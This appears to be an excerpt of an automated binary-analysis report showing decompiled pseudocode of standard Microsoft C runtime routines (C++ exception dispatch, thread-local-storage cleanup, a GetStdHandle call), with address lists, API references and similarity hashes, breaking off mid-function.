							_v20 = _t215;
							_v12 = _t302;
							__eflags = _t302 - _v32;
							if(_t302 >= _v32) {
								goto L83;
							}
							_t281 = _t302 * 0x14;
							__eflags = _t281;
							_v16 = _t281;
							do {
								_t282 = 5;
								_t218 = memcpy( &_v64,  *((intOrPtr*)( *_t215 + 0x10)) + _t281, _t282 << 2);
								_t337 = _t337 + 0xc;
								__eflags = _v64 - _t218;
								if(_v64 > _t218) {
									goto L82;
								}
								__eflags = _t218 - _v60;
								if(_t218 > _v60) {
									goto L82;
								}
								_t221 = _v48 + 0xfffffff0 + (_v52 << 4);
								_t287 = _t221[4];
								__eflags = _t287;
								if(_t287 == 0) {
									L80:
									__eflags =  *_t221 & 0x00000040;
									if(( *_t221 & 0x00000040) == 0) {
										_push(0);
										_push(1);
										E6EBFF676(_t302, _t275, _a4, _a8, _a12, _a16, _t221, 0,  &_v64, _a24, _a28);
										_t302 = _v12;
										_t337 = _t337 + 0x30;
									}
									goto L82;
								}
								__eflags =  *((char*)(_t287 + 8));
								if( *((char*)(_t287 + 8)) != 0) {
									goto L82;
								}
								goto L80;
								L82:
								_t302 = _t302 + 1;
								_t215 = _v20;
								_t281 = _v16 + 0x14;
								_v12 = _t302;
								_v16 = _t281;
								__eflags = _t302 - _v32;
							} while (_t302 < _v32);
							goto L83;
						}
						E6EC01C23(_t275, _t279, _t300, 0, _t319);
						asm("int3");
						_push(_t332);
						_t301 = _v184;
						_push(_t275);
						_push(_t319);
						_push(0);
						_t206 = _t301[4];
						__eflags = _t206;
						if(_t206 == 0) {
							L108:
							_t208 = 1;
							__eflags = 1;
						} else {
							_t280 = _t206 + 8;
							__eflags =  *_t280;
							if( *_t280 == 0) {
								goto L108;
							} else {
								__eflags =  *_t301 & 0x00000080;
								_t308 = _v0;
								if(( *_t301 & 0x00000080) == 0) {
									L90:
									_t276 = _t308[4];
									_t321 = 0;
									__eflags = _t206 - _t276;
									if(_t206 == _t276) {
										L100:
										__eflags =  *_t308 & 0x00000002;
										if(( *_t308 & 0x00000002) == 0) {
											L102:
											_t209 = _a4;
											__eflags =  *_t209 & 0x00000001;
											if(( *_t209 & 0x00000001) == 0) {
												L104:
												__eflags =  *_t209 & 0x00000002;
												if(( *_t209 & 0x00000002) == 0) {
													L106:
													_t321 = 1;
													__eflags = 1;
												} else {
													__eflags =  *_t301 & 0x00000002;
													if(( *_t301 & 0x00000002) != 0) {
														goto L106;
													}
												}
											} else {
												__eflags =  *_t301 & 0x00000001;
												if(( *_t301 & 0x00000001) != 0) {
													goto L104;
												}
											}
										} else {
											__eflags =  *_t301 & 0x00000008;
											if(( *_t301 & 0x00000008) != 0) {
												goto L102;
											}
										}
										_t208 = _t321;
									} else {
										_t185 = _t276 + 8; // 0x6e
										_t210 = _t185;
										while(1) {
											_t277 =  *_t280;
											__eflags = _t277 -  *_t210;
											if(_t277 !=  *_t210) {
												break;
											}
											__eflags = _t277;
											if(_t277 == 0) {
												L96:
												_t211 = _t321;
											} else {
												_t278 =  *((intOrPtr*)(_t280 + 1));
												__eflags = _t278 -  *((intOrPtr*)(_t210 + 1));
												if(_t278 !=  *((intOrPtr*)(_t210 + 1))) {
													break;
												} else {
													_t280 = _t280 + 2;
													_t210 = _t210 + 2;
													__eflags = _t278;
													if(_t278 != 0) {
														continue;
													} else {
														goto L96;
													}
												}
											}
											L98:
											__eflags = _t211;
											if(_t211 == 0) {
												goto L100;
											} else {
												_t208 = 0;
											}
											goto L109;
										}
										asm("sbb eax, eax");
										_t211 = _t210 | 0x00000001;
										__eflags = _t211;
										goto L98;
									}
								} else {
									__eflags =  *_t308 & 0x00000010;
									if(( *_t308 & 0x00000010) != 0) {
										goto L108;
									} else {
										goto L90;
									}
								}
							}
						}
						L109:
						return _t208;
					}
				} else {
					_t274 = _a4;
					if( *_t274 != 0xe06d7363 || _t274[0x10] != 3 || _t274[0x14] != 0x19930520 && _t274[0x14] != 0x19930521 && _t274[0x14] != 0x19930522) {
						L22:
						_t300 = _a12;
						_v8 = _t300;
						goto L24;
					} else {
						_t319 = 0;
						if(_t274[0x1c] != 0) {
							goto L22;
						} else {
							_t225 = E6EBFF3B1(_t274, _t279, _t300, _t305, 0);
							if( *((intOrPtr*)(_t225 + 0x10)) == 0) {
								L60:
								return _t225;
							} else {
								_t274 =  *(E6EBFF3B1(_t274, _t279, _t300, _t305, 0) + 0x10);
								_t263 = E6EBFF3B1(_t274, _t279, _t300, _t305, 0);
								_v28 = 1;
								_v8 =  *((intOrPtr*)(_t263 + 0x14));
								if(_t274 == 0 ||  *_t274 == 0xe06d7363 && _t274[0x10] == 3 && (_t274[0x14] == 0x19930520 || _t274[0x14] == 0x19930521 || _t274[0x14] == 0x19930522) && _t274[0x1c] == _t319) {
									goto L66;
								} else {
									if( *((intOrPtr*)(E6EBFF3B1(_t274, _t279, _t300, _t305, _t319) + 0x1c)) == _t319) {
										L23:
										_t300 = _v8;
										_t279 = _v12;
										L24:
										_v52 = _t305;
										_v48 = 0;
										__eflags =  *_t274 - 0xe06d7363;
										if( *_t274 != 0xe06d7363) {
											L56:
											__eflags = _t305[3];
											if(_t305[3] <= 0) {
												goto L59;
											} else {
												__eflags = _a24;
												if(_a24 != 0) {
													goto L66;
												} else {
													_push(_a32);
													_push(_a28);
													_push(_t279);
													_push(_t305);
													_push(_a16);
													_push(_t300);
													_push(_a8);
													_push(_t274);
													L67();
													_t335 = _t335 + 0x20;
													goto L59;
												}
											}
										} else {
											__eflags = _t274[0x10] - 3;
											if(_t274[0x10] != 3) {
												goto L56;
											} else {
												__eflags = _t274[0x14] - 0x19930520;
												if(_t274[0x14] == 0x19930520) {
													L29:
													_t319 = _a32;
													__eflags = _t305[3];
													if(_t305[3] > 0) {
														_push(_a28);
														E6EBFEB2A(_t274, _t279, _t305, _t319,  &_v68,  &_v52, _t279, _a16, _t305);
														_t300 = _v64;
														_t335 = _t335 + 0x18;
														_t250 = _v68;
														_v44 = _t250;
														_v16 = _t300;
														__eflags = _t300 - _v56;
														if(_t300 < _v56) {
															_t294 = _t300 * 0x14;
															__eflags = _t294;
															_v32 = _t294;
															do {
																_t295 = 5;
																_t253 = memcpy( &_v104,  *((intOrPtr*)( *_t250 + 0x10)) + _t294, _t295 << 2);
																_t335 = _t335 + 0xc;
																__eflags = _v104 - _t253;
																if(_v104 <= _t253) {
																	__eflags = _t253 - _v100;
																	if(_t253 <= _v100) {
																		_t298 = 0;
																		_v20 = 0;
																		__eflags = _v92;
																		if(_v92 != 0) {
																			_t255 =  *(_t274[0x1c] + 0xc);
																			_t303 =  *_t255;
																			_t256 =  &(_t255[1]);
																			__eflags = _t256;
																			_v36 = _t256;
																			_t257 = _v88;
																			_v40 = _t303;
																			_v24 = _t257;
																			do {
																				asm("movsd");
																				asm("movsd");
																				asm("movsd");
																				asm("movsd");
																				_t318 = _v36;
																				_t330 = _t303;
																				__eflags = _t330;
																				if(_t330 <= 0) {
																					goto L40;
																				} else {
																					while(1) {
																						_push(_t274[0x1c]);
																						_t258 =  &_v84;
																						_push( *_t318);
																						_push(_t258);
																						L86();
																						_t335 = _t335 + 0xc;
																						__eflags = _t258;
																						if(_t258 != 0) {
																							break;
																						}
																						_t330 = _t330 - 1;
																						_t318 = _t318 + 4;
																						__eflags = _t330;
																						if(_t330 > 0) {
																							continue;
																						} else {
																							_t298 = _v20;
																							_t257 = _v24;
																							_t303 = _v40;
																							goto L40;
																						}
																						goto L43;
																					}
																					_push(_a24);
																					_push(_v28);
																					E6EBFF676(_t303, _t274, _a8, _v8, _a16, _a20,  &_v84,  *_t318,  &_v104, _a28, _a32);
																					_t335 = _t335 + 0x30;
																				}
																				L43:
																				_t300 = _v16;
																				goto L44;
																				L40:
																				_t298 = _t298 + 1;
																				_t257 = _t257 + 0x10;
																				_v20 = _t298;
																				_v24 = _t257;
																				__eflags = _t298 - _v92;
																			} while (_t298 != _v92);
																			goto L43;
																		}
																	}
																}
																L44:
																_t300 = _t300 + 1;
																_t250 = _v44;
																_t294 = _v32 + 0x14;
																_v16 = _t300;
																_v32 = _t294;
																__eflags = _t300 - _v56;
															} while (_t300 < _v56);
															_t305 = _a20;
															_t319 = _a32;
														}
													}
													__eflags = _a24;
													if(__eflags != 0) {
														_push(1);
														E6EBFF131(_t274, _t305, _t319, __eflags);
														_t279 = _t274;
													}
													__eflags = ( *_t305 & 0x1fffffff) - 0x19930521;
													if(( *_t305 & 0x1fffffff) < 0x19930521) {
														L59:
														_t225 = E6EBFF3B1(_t274, _t279, _t300, _t305, _t319);
														__eflags =  *(_t225 + 0x1c);
														if( *(_t225 + 0x1c) != 0) {
															goto L66;
														} else {
															goto L60;
														}
													} else {
														__eflags = _t305[7];
														if(_t305[7] != 0) {
															L52:
															_t229 = _t305[8] >> 2;
															__eflags = _t229 & 0x00000001;
															if((_t229 & 0x00000001) == 0) {
																_push(_t305[7]);
																_t230 = E6EC00105(_t274, _t305, _t319, _t274);
																_pop(_t279);
																__eflags = _t230;
																if(_t230 == 0) {
																	goto L63;
																} else {
																	goto L59;
																}
															} else {
																 *(E6EBFF3B1(_t274, _t279, _t300, _t305, _t319) + 0x10) = _t274;
																_t238 = E6EBFF3B1(_t274, _t279, _t300, _t305, _t319);
																_t290 = _v8;
																 *((intOrPtr*)(_t238 + 0x14)) = _v8;
																goto L61;
															}
														} else {
															_t245 = _t305[8] >> 2;
															__eflags = _t245 & 0x00000001;
															if((_t245 & 0x00000001) == 0) {
																goto L59;
															} else {
																__eflags = _a28;
																if(_a28 != 0) {
																	goto L59;
																} else {
																	goto L52;
																}
															}
														}
													}
												} else {
													__eflags = _t274[0x14] - 0x19930521;
													if(_t274[0x14] == 0x19930521) {
														goto L29;
													} else {
														__eflags = _t274[0x14] - 0x19930522;
														if(_t274[0x14] != 0x19930522) {
															goto L56;
														} else {
															goto L29;
														}
													}
												}
											}
										}
									} else {
										_v16 =  *((intOrPtr*)(E6EBFF3B1(_t274, _t279, _t300, _t305, _t319) + 0x1c));
										_t268 = E6EBFF3B1(_t274, _t279, _t300, _t305, _t319);
										_push(_v16);
										 *(_t268 + 0x1c) = _t319;
										_t269 = E6EC00105(_t274, _t305, _t319, _t274);
										_pop(_t290);
										if(_t269 != 0) {
											goto L23;
										} else {
											_t305 = _v16;
											_t356 =  *_t305 - _t319;
											if( *_t305 <= _t319) {
												L61:
												E6EC01BCC(_t274, _t290, _t300, _t305, _t319, __eflags);
											} else {
												while(1) {
													_t290 =  *((intOrPtr*)(_t319 + _t305[1] + 4));
													if(E6EBFFD99( *((intOrPtr*)(_t319 + _t305[1] + 4)), _t356, 0x6ec3e0c0) != 0) {
														goto L62;
													}
													_t319 = _t319 + 0x10;
													_t273 = _v20 + 1;
													_v20 = _t273;
													_t356 = _t273 -  *_t305;
													if(_t273 >=  *_t305) {
														goto L61;
													} else {
														continue;
													}
													goto L62;
												}
											}
											L62:
											_push(1);
											_push(_t274);
											E6EBFF131(_t274, _t305, _t319, __eflags);
											_t279 =  &_v64;
											E6EBFFD81( &_v64);
											E6EBFE95C( &_v64, 0x6ec3b17c);
											L63:
											 *(E6EBFF3B1(_t274, _t279, _t300, _t305, _t319) + 0x10) = _t274;
											_t232 = E6EBFF3B1(_t274, _t279, _t300, _t305, _t319);
											_t279 = _v8;
											 *(_t232 + 0x14) = _v8;
											__eflags = _t319;
											if(_t319 == 0) {
												_t319 = _a8;
											}
											E6EBFED1D(_t279, _t319, _t274);
											E6EC00005(_a8, _a16, _t305);
											_t235 = E6EC001C2(_t305);
											_t335 = _t335 + 0x10;
											_push(_t235);
											E6EBFFF7C(_t274, _t279, _t300, _t305, _t319, __eflags);
											goto L66;
										}
									}
								}
							}
						}
					}
				}
			}

0x6ebff6f6
0x6ebff6fd
0x6ebff6ff
0x6ebff708
0x6ebff70e
0x6ebff716
0x6ebff718
0x6ebff71b
0x6ebff721
0x6ebffa9a
0x6ebffa9a
0x6ebffa9f
0x6ebffaa1
0x6ebffaa3
0x6ebffaa6
0x6ebffaa7
0x6ebffaaa
0x6ebffab0
0x6ebffbcf
0x6ebffab6
0x6ebffab6
0x6ebffab7
0x6ebffab8
0x6ebffabf
0x6ebffac2
0x6ebffac5
0x6ebffacb
0x6ebffacd
0x6ebffad2
0x6ebffad5
0x6ebffad7
0x6ebffadd
0x6ebffadf
0x6ebffae5
0x6ebffafa
0x6ebffaff
0x6ebffb02
0x6ebffb04
0x6ebffbcb
0x00000000
0x6ebffbcc
0x6ebffb04
0x6ebffae5
0x6ebffadd
0x6ebffad5
0x6ebffb0a
0x6ebffb0d
0x6ebffb10
0x6ebffb13
0x6ebffb16
0x6ebffb1c
0x6ebffb2e
0x6ebffb33
0x6ebffb36
0x6ebffb39
0x6ebffb3c
0x6ebffb3f
0x6ebffb42
0x6ebffb45
0x00000000
0x00000000
0x6ebffb4b
0x6ebffb4b
0x6ebffb4e
0x6ebffb51
0x6ebffb60
0x6ebffb61
0x6ebffb61
0x6ebffb63
0x6ebffb66
0x00000000
0x00000000
0x6ebffb68
0x6ebffb6b
0x00000000
0x00000000
0x6ebffb79
0x6ebffb7b
0x6ebffb7e
0x6ebffb80
0x6ebffb88
0x6ebffb88
0x6ebffb8b
0x6ebffb8d
0x6ebffb8f
0x6ebffbab
0x6ebffbb0
0x6ebffbb3
0x6ebffbb3
0x00000000
0x6ebffb8b
0x6ebffb82
0x6ebffb86
0x00000000
0x00000000
0x00000000
0x6ebffbb6
0x6ebffbb9
0x6ebffbba
0x6ebffbbd
0x6ebffbc0
0x6ebffbc3
0x6ebffbc6
0x6ebffbc6
0x00000000
0x6ebffb51
0x6ebffbd0
0x6ebffbd5
0x6ebffbd6
0x6ebffbd9
0x6ebffbdc
0x6ebffbdd
0x6ebffbde
0x6ebffbdf
0x6ebffbe2
0x6ebffbe4
0x6ebffc5c
0x6ebffc5e
0x6ebffc5e
0x6ebffbe6
0x6ebffbe6
0x6ebffbe9
0x6ebffbec
0x00000000
0x6ebffbee
0x6ebffbee
0x6ebffbf1
0x6ebffbf4
0x6ebffbfb
0x6ebffbfb
0x6ebffbfe
0x6ebffc00
0x6ebffc02
0x6ebffc34
0x6ebffc34
0x6ebffc37
0x6ebffc3e
0x6ebffc3e
0x6ebffc41
0x6ebffc44
0x6ebffc4b
0x6ebffc4b
0x6ebffc4e
0x6ebffc55
0x6ebffc57
0x6ebffc57
0x6ebffc50
0x6ebffc50
0x6ebffc53
0x00000000
0x00000000
0x6ebffc53
0x6ebffc46
0x6ebffc46
0x6ebffc49
0x00000000
0x00000000
0x6ebffc49
0x6ebffc39
0x6ebffc39
0x6ebffc3c
0x00000000
0x00000000
0x6ebffc3c
0x6ebffc58
0x6ebffc04
0x6ebffc04
0x6ebffc04
0x6ebffc07
0x6ebffc07
0x6ebffc09
0x6ebffc0b
0x00000000
0x00000000
0x6ebffc0d
0x6ebffc0f
0x6ebffc23
0x6ebffc23
0x6ebffc11
0x6ebffc11
0x6ebffc14
0x6ebffc17
0x00000000
0x6ebffc19
0x6ebffc19
0x6ebffc1c
0x6ebffc1f
0x6ebffc21
0x00000000
0x00000000
0x00000000
0x00000000
0x6ebffc21
0x6ebffc17
0x6ebffc2c
0x6ebffc2c
0x6ebffc2e
0x00000000
0x6ebffc30
0x6ebffc30
0x6ebffc30
0x00000000
0x6ebffc2e
0x6ebffc27
0x6ebffc29
0x6ebffc29
0x00000000
0x6ebffc29
0x6ebffbf6
0x6ebffbf6
0x6ebffbf9
0x00000000
0x00000000
0x00000000
0x00000000
0x6ebffbf9
0x6ebffbf4
0x6ebffbec
0x6ebffc5f
0x6ebffc63
0x6ebffc63
0x6ebff730
0x6ebff730
0x6ebff739
0x6ebff836
0x6ebff836
0x6ebff839
0x00000000
0x6ebff768
0x6ebff768
0x6ebff76d
0x00000000
0x6ebff773
0x6ebff773
0x6ebff77b
0x6ebffa34
0x6ebffa38
0x6ebff781
0x6ebff786
0x6ebff789
0x6ebff78e
0x6ebff795
0x6ebff79a
0x00000000
0x6ebff7d2
0x6ebff7da
0x6ebff83e
0x6ebff83e
0x6ebff841
0x6ebff844
0x6ebff846
0x6ebff849
0x6ebff84c
0x6ebff852
0x6ebffa03
0x6ebffa03
0x6ebffa06
0x00000000
0x6ebffa08
0x6ebffa08
0x6ebffa0b
0x00000000
0x6ebffa11
0x6ebffa11
0x6ebffa14
0x6ebffa17
0x6ebffa18
0x6ebffa19
0x6ebffa1c
0x6ebffa1d
0x6ebffa20
0x6ebffa21
0x6ebffa26
0x00000000
0x6ebffa26
0x6ebffa0b
0x6ebff858
0x6ebff858
0x6ebff85c
0x00000000
0x6ebff862
0x6ebff862
0x6ebff869
0x6ebff881
0x6ebff881
0x6ebff884
0x6ebff887
0x6ebff88d
0x6ebff89d
0x6ebff8a2
0x6ebff8a5
0x6ebff8a8
0x6ebff8ab
0x6ebff8ae
0x6ebff8b1
0x6ebff8b4
0x6ebff8ba
0x6ebff8ba
0x6ebff8bd
0x6ebff8c0
0x6ebff8cf
0x6ebff8d0
0x6ebff8d0
0x6ebff8d2
0x6ebff8d5
0x6ebff8db
0x6ebff8de
0x6ebff8e4
0x6ebff8e6
0x6ebff8e9
0x6ebff8ec
0x6ebff8f5
0x6ebff8f8
0x6ebff8fa
0x6ebff8fa
0x6ebff8fd
0x6ebff900
0x6ebff903
0x6ebff906
0x6ebff909
0x6ebff90e
0x6ebff90f
0x6ebff910
0x6ebff911
0x6ebff912
0x6ebff915
0x6ebff917
0x6ebff919
0x00000000
0x6ebff91b
0x6ebff91b
0x6ebff91b
0x6ebff91e
0x6ebff921
0x6ebff923
0x6ebff924
0x6ebff929
0x6ebff92c
0x6ebff92e
0x00000000
0x00000000
0x6ebff930
0x6ebff931
0x6ebff934
0x6ebff936
0x00000000
0x6ebff938
0x6ebff938
0x6ebff93b
0x6ebff93e
0x00000000
0x6ebff93e
0x00000000
0x6ebff936
0x6ebff952
0x6ebff958
0x6ebff975
0x6ebff97a
0x6ebff97a
0x6ebff97d
0x6ebff97d
0x00000000
0x6ebff941
0x6ebff941
0x6ebff942
0x6ebff945
0x6ebff948
0x6ebff94b
0x6ebff94b
0x00000000
0x6ebff950
0x6ebff8ec
0x6ebff8de
0x6ebff980
0x6ebff983
0x6ebff984
0x6ebff987
0x6ebff98a
0x6ebff98d
0x6ebff990
0x6ebff990
0x6ebff999
0x6ebff99c
0x6ebff99c
0x6ebff8b4
0x6ebff99f
0x6ebff9a3
0x6ebff9a5
0x6ebff9a8
0x6ebff9ae
0x6ebff9ae
0x6ebff9b6
0x6ebff9bb
0x6ebffa29
0x6ebffa29
0x6ebffa2e
0x6ebffa32
0x00000000
0x00000000
0x00000000
0x00000000
0x6ebff9bd
0x6ebff9bd
0x6ebff9c1
0x6ebff9d3
0x6ebff9d6
0x6ebff9d9
0x6ebff9db
0x6ebff9f2
0x6ebff9f6
0x6ebff9fc
0x6ebff9fd
0x6ebff9ff
0x00000000
0x6ebffa01
0x00000000
0x6ebffa01
0x6ebff9dd
0x6ebff9e2
0x6ebff9e5
0x6ebff9ea
0x6ebff9ed
0x00000000
0x6ebff9ed
0x6ebff9c3
0x6ebff9c6
0x6ebff9c9
0x6ebff9cb
0x00000000
0x6ebff9cd
0x6ebff9cd
0x6ebff9d1
0x00000000
0x00000000
0x00000000
0x00000000
0x6ebff9d1
0x6ebff9cb
0x6ebff9c1
0x6ebff86b
0x6ebff86b
0x6ebff872
0x00000000
0x6ebff874
0x6ebff874
0x6ebff87b
0x00000000
0x00000000
0x00000000
0x00000000
0x6ebff87b
0x6ebff872
0x6ebff869
0x6ebff85c
0x6ebff7dc
0x6ebff7e4
0x6ebff7e7
0x6ebff7ec
0x6ebff7f0
0x6ebff7f3
0x6ebff7f9
0x6ebff7fc
0x00000000
0x6ebff7fe
0x6ebff7fe
0x6ebff801
0x6ebff803
0x6ebffa39
0x6ebffa39
0x00000000
0x6ebff809
0x6ebff811
0x6ebff81c
0x00000000
0x00000000
0x6ebff825
0x6ebff828
0x6ebff829
0x6ebff82c
0x6ebff82e
0x00000000
0x6ebff834
0x00000000
0x6ebff834
0x00000000
0x6ebff82e
0x6ebff809
0x6ebffa3e
0x6ebffa3e
0x6ebffa40
0x6ebffa41
0x6ebffa48
0x6ebffa4b
0x6ebffa59
0x6ebffa5e
0x6ebffa63
0x6ebffa66
0x6ebffa6b
0x6ebffa6e
0x6ebffa71
0x6ebffa73
0x6ebffa75
0x6ebffa75
0x6ebffa7a
0x6ebffa86
0x6ebffa8c
0x6ebffa91
0x6ebffa94
0x6ebffa95
0x00000000
0x6ebffa95
0x6ebff7fc
0x6ebff7da
0x6ebff79a
0x6ebff77b
0x6ebff76d
0x6ebff739

APIs

IsInExceptionSpec.LIBVCRUNTIME ref: 6EBFF7F3
type_info::operator==.LIBVCRUNTIME ref: 6EBFF815
___TypeMatch.LIBVCRUNTIME ref: 6EBFF924
IsInExceptionSpec.LIBVCRUNTIME ref: 6EBFF9F6
_UnwindNestedFrames.LIBCMT ref: 6EBFFA7A
CallUnexpected.LIBVCRUNTIME ref: 6EBFFA95

Strings

csm, xrefs: 6EBFF7A0
csm, xrefs: 6EBFF84C
csm, xrefs: 6EBFF733

Memory Dump Source

Source File: 00000001.00000002.719649358.000000006EBE1000.00000020.00020000.sdmp, Offset: 6EBE0000, based on PE: true

Associated: 00000001.00000002.719635271.000000006EBE0000.00000002.00020000.sdmp Download File
Associated: 00000001.00000002.719749035.000000006EC0A000.00000002.00020000.sdmp Download File
Associated: 00000001.00000002.719939198.000000006EC3D000.00000004.00020000.sdmp Download File
Associated: 00000001.00000002.719952409.000000006EC3F000.00000008.00020000.sdmp Download File
Associated: 00000001.00000002.719965669.000000006EC40000.00000002.00020000.sdmp Download File

Similarity

API ID: ExceptionSpec$CallFramesMatchNestedTypeUnexpectedUnwindtype_info::operator==
String ID: csm$csm$csm
API String ID: 2123188842-393685449
Opcode ID: e96fb90bab850719a42baee9d0eaafdb793d3c583d9d1201c8e91ee0271f6206
Instruction ID: 9f35e2754bee85f4f3f5dd68b55576ddefcfaa5c0e6fa63683735d502b0af686
Opcode Fuzzy Hash: e96fb90bab850719a42baee9d0eaafdb793d3c583d9d1201c8e91ee0271f6206
Instruction Fuzzy Hash: F7B13871C1028AEFCF15CFE4C99099EBFB9FF08314B24456AE8146B215D731DA6ACB91

Uniqueness

Uniqueness Score: -1.00%

Function 6EBEC340, Relevance: 12.6, APIs: 10, Instructions: 125
COMMON

Download Yara Rule

C-Code - Quality: 58%

			E6EBEC340() {
				intOrPtr _t25;
				intOrPtr _t26;
				void* _t27;
				void* _t28;
				void* _t29;
				void* _t30;
				void* _t31;
				signed char _t42;
				signed char _t43;
				signed char _t44;
				signed char _t45;
				intOrPtr* _t52;
				intOrPtr* _t53;
				intOrPtr* _t54;
				intOrPtr* _t55;
				intOrPtr* _t56;
				void* _t57;

				_t25 =  *((intOrPtr*)(_t57 + 0x18));
				if(_t25 == 3 || _t25 == 0) {
					_t52 =  *0x6ec3e12c; // 0x0
					if(_t52 == 0) {
						goto L26;
					}
					_t42 = 0;
					do {
						_t27 = TlsGetValue( *(_t52 + 4));
						if(_t27 != 0) {
							TlsSetValue( *(_t52 + 4), 0);
							 *_t52(_t27);
							_t57 = _t57 + 4;
							_t42 = 1;
						}
						_t52 =  *((intOrPtr*)(_t52 + 8));
					} while (_t52 != 0);
					if((_t42 & 0x00000001) == 0) {
						goto L26;
					}
					_t53 =  *0x6ec3e12c; // 0x0
					if(_t53 == 0) {
						goto L26;
					}
					_t43 = 0;
					do {
						_t28 = TlsGetValue( *(_t53 + 4));
						if(_t28 != 0) {
							TlsSetValue( *(_t53 + 4), 0);
							 *_t53(_t28);
							_t57 = _t57 + 4;
							_t43 = 1;
						}
						_t53 =  *((intOrPtr*)(_t53 + 8));
					} while (_t53 != 0);
					if((_t43 & 0x00000001) == 0) {
						goto L26;
					}
					_t54 =  *0x6ec3e12c; // 0x0
					if(_t54 == 0) {
						goto L26;
					}
					_t44 = 0;
					do {
						_t29 = TlsGetValue( *(_t54 + 4));
						if(_t29 != 0) {
							TlsSetValue( *(_t54 + 4), 0);
							 *_t54(_t29);
							_t57 = _t57 + 4;
							_t44 = 1;
						}
						_t54 =  *((intOrPtr*)(_t54 + 8));
					} while (_t54 != 0);
					if((_t44 & 0x00000001) == 0) {
						goto L26;
					}
					_t55 =  *0x6ec3e12c; // 0x0
					if(_t55 == 0) {
						goto L26;
					}
					_t45 = 0;
					do {
						_t30 = TlsGetValue( *(_t55 + 4));
						if(_t30 != 0) {
							TlsSetValue( *(_t55 + 4), 0);
							 *_t55(_t30);
							_t57 = _t57 + 4;
							_t45 = 1;
						}
						_t55 =  *((intOrPtr*)(_t55 + 8));
					} while (_t55 != 0);
					if((_t45 & 0x00000001) != 0) {
						_t56 =  *0x6ec3e12c; // 0x0
						while(_t56 != 0) {
							_t31 = TlsGetValue( *(_t56 + 4));
							if(_t31 != 0) {
								TlsSetValue( *(_t56 + 4), 0);
								 *_t56(_t31);
								_t57 = _t57 + 4;
							}
							_t56 =  *((intOrPtr*)(_t56 + 8));
						}
					}
					goto L26;
				} else {
					L26:
					_t26 =  *0x6ec3a300; // 0x70
					return _t26;
				}
			}

0x6ebec344
0x6ebec34b
0x6ebec355
0x6ebec35d
0x00000000
0x00000000
0x6ebec369
0x6ebec377
0x6ebec37a
0x6ebec37e
0x6ebec387
0x6ebec38e
0x6ebec391
0x6ebec394
0x6ebec394
0x6ebec370
0x6ebec373
0x6ebec39b
0x00000000
0x00000000
0x6ebec3a1
0x6ebec3a9
0x00000000
0x00000000
0x6ebec3af
0x6ebec3c7
0x6ebec3ca
0x6ebec3ce
0x6ebec3d7
0x6ebec3de
0x6ebec3e1
0x6ebec3e4
0x6ebec3e4
0x6ebec3c0
0x6ebec3c3
0x6ebec3eb
0x00000000
0x00000000
0x6ebec3f1
0x6ebec3f9
0x00000000
0x00000000
0x6ebec3fb
0x6ebec407
0x6ebec40a
0x6ebec40e
0x6ebec417
0x6ebec41e
0x6ebec421
0x6ebec424
0x6ebec424
0x6ebec400
0x6ebec403
0x6ebec42b
0x00000000
0x00000000
0x6ebec42d
0x6ebec435
0x00000000
0x00000000
0x6ebec437
0x6ebec447
0x6ebec44a
0x6ebec44e
0x6ebec457
0x6ebec45e
0x6ebec461
0x6ebec464
0x6ebec464
0x6ebec440
0x6ebec443
0x6ebec46b
0x6ebec479
0x6ebec484
0x6ebec48b
0x6ebec48f
0x6ebec498
0x6ebec49f
0x6ebec4a2
0x6ebec4a2
0x6ebec481
0x6ebec481
0x6ebec484
0x00000000
0x6ebec46d
0x6ebec46d
0x6ebec46d
0x6ebec476
0x6ebec476

APIs

TlsGetValue.KERNEL32(?), ref: 6EBEC37A
TlsSetValue.KERNEL32(?,00000000), ref: 6EBEC387
TlsGetValue.KERNEL32(?), ref: 6EBEC3CA
TlsSetValue.KERNEL32(?,00000000), ref: 6EBEC3D7
TlsGetValue.KERNEL32(?), ref: 6EBEC40A
TlsSetValue.KERNEL32(?,00000000), ref: 6EBEC417
TlsGetValue.KERNEL32(?), ref: 6EBEC44A
TlsSetValue.KERNEL32(?,00000000), ref: 6EBEC457
TlsGetValue.KERNEL32(?), ref: 6EBEC48B
TlsSetValue.KERNEL32(?,00000000), ref: 6EBEC498

Memory Dump Source

Source File: 00000001.00000002.719649358.000000006EBE1000.00000020.00020000.sdmp, Offset: 6EBE0000, based on PE: true

Associated: 00000001.00000002.719635271.000000006EBE0000.00000002.00020000.sdmp Download File
Associated: 00000001.00000002.719749035.000000006EC0A000.00000002.00020000.sdmp Download File
Associated: 00000001.00000002.719939198.000000006EC3D000.00000004.00020000.sdmp Download File
Associated: 00000001.00000002.719952409.000000006EC3F000.00000008.00020000.sdmp Download File
Associated: 00000001.00000002.719965669.000000006EC40000.00000002.00020000.sdmp Download File

Similarity

API ID: Value
String ID:
API String ID: 3702945584-0
Opcode ID: bd00916b78ed99d169e378a90bdc87de8c753dfc9d8f151caf877a1ac3d52f77
Instruction ID: 7a8a6411b3dc32ccc28f0d6410c4485ac93abc21f59cad92467cbecdb06f39b2
Opcode Fuzzy Hash: bd00916b78ed99d169e378a90bdc87de8c753dfc9d8f151caf877a1ac3d52f77
Instruction Fuzzy Hash: E1416D711843CDAFDB51AEE59D11BAA3F34EF12A84F044024FE254E922E772DA109F92

Uniqueness

Uniqueness Score: -1.00%

Function 6EBF1BF0, Relevance: 12.5, APIs: 5, Strings: 2, Instructions: 212
fileCOMMON

Download Yara Rule

C-Code - Quality: 59%

			E6EBF1BF0(void* __ebx, struct _OVERLAPPED** __ecx, void* __edx, void* __edi, void* __ebp, signed char _a4, signed char* _a8) {
				char _v20;
				void* _v24;
				char _v44;
				long _v48;
				void* _v52;
				signed int _v56;
				char _v60;
				void* __esi;
				long _t57;
				void* _t58;
				long _t60;
				signed int _t61;
				long _t81;
				signed int _t86;
				signed int _t87;
				signed int _t88;
				signed int _t91;
				char _t93;
				void* _t96;
				void* _t97;
				signed int _t100;
				signed int _t101;
				struct _OVERLAPPED* _t102;
				signed int _t105;
				signed int* _t106;
				signed int _t110;
				signed char _t112;
				void* _t114;
				long _t118;
				void** _t119;
				void* _t120;
				long _t122;
				void* _t125;
				void* _t133;
				struct _OVERLAPPED** _t135;
				void* _t144;
				long _t152;
				signed char* _t155;
				DWORD* _t156;
				void* _t157;
				void** _t158;
				void** _t160;

				_push(__ebp);
				_push(__ebx);
				_push(__edi);
				_t158 = _t157 - 0x30;
				_t152 = _a4;
				_t135 = __ecx;
				if(_t152 == 0) {
					 *(__ecx + 4) = 0;
					goto L5;
				} else {
					_t96 = __edx;
					_t58 = GetStdHandle(0xfffffff4);
					if(_t58 == 0) {
						_t57 = 6;
						goto L7;
					} else {
						_t133 = _t58;
